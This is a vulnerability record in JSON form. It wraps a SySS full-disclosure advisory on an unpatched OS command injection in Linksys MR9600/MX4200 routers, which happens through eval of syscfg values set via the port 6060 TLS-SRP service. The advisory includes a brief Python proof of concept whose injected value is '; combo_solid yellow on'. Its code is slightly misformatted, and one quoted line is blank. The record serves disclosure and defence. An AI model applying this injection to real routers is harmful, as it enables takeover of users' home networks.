GCVE-1988-2026-0203

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Zäske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2025-011\nProduct:                   MR9600, MX4200 (and potentially others)\nManufacturer:              Linksys\n\nTested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:        OS Command Injection (CWE-78)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2025-03-18\nSolution Date:             -\nPublic Disclosure:         2026-02-12\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Christian Zäske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi® 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, OS commands can\nbe injected via the update functionality of a TLS-SRP connection,\nwhich is normally used for configuring devices inside the mesh\nnetwork.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a service (sct_server\nbinary) running on TCP port 6060, which is used to integrate other mesh\ndevices into the network. The service accepts TLS-SRP connections with\na username and password.\n\nThe service supports an update request, which can be used to set\n\"syscfg\" variables on the device. The script\n\"/tmp/cron/cron.everyminute/offline-notifier.cron\" is executed every\nminute and sets \"syscfg\" variables containing \"node-off\" as environment\nvariables using the following lines:\n\n  VARS=\"$(syscfg show |\n          grep node-off |\n          sed -r \"s/^[^:]+:://g\" |\n          while read i; do\n              echo \"$i;\"\n          done)\"\n  eval $VARS\n\nUsually, the variable \"VARS\" is set to a value similar to the following:\n\n  $ syscfg show | grep node-off\n\n  node-off::min_offline_time=3\n  node-off::enabled=1\n  node-off::cache_dir=/tmp/msg\n  node-off::enable_cloud=1\n  node-off::debug=0\n\n\n\nBy using the service on port 6060, an update request can be sent to the\ndevice, which can be used to set an arbitrary \"syscfg\" entry. If this\nentry contains \";\", OS commands can be injected into the \"VARS\"\nvariable, which will be used by eval.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the \"tlslite-ng\" library, the following Python code will result\nin the LED indicator at the top of the device turning yellow, indicating\nthat the OS command got successfully executed:\n\n  from socket import *\n  from tlslite.api import *\n\n  sock = socket.socket(AF_INET, SOCK_STREAM)\n  sock.connect((\"192.168.1.1\", 6060))\n\n  conn = TLSConnection(sock)\n  conn.handshakeClientSRP(srp_username, srp_pass)\n\nconn.sendall(bytes.fromhex(\"4f53435479e0b43120fcf435000000600000\"))\n\n\nThis code results in the following \"syscfg\" value to be set:\n\n  $ syscfg show | grep SySS\n  node-off::SySS=; combo_solid yellow on\n\nWhen parsed by the script \"offline-notifier.cron\", the following line\nwill be executed by eval, resulting in the indicator LED turning yellow\nafter a maximum of 60 seconds:\n\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-01-30: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n    https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-011\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt\n[3] SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Zäske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:38Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/18"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-011] Linksys MX9600/MX4200 - OS Command Injection",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0203",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/18",
            "automated": true,
            "contentSha256": "531f353f04bac3f2bbcd04494b568489988470502612900246967d7ef58ce0fb",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:13:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-09T10:09:38Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0203"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}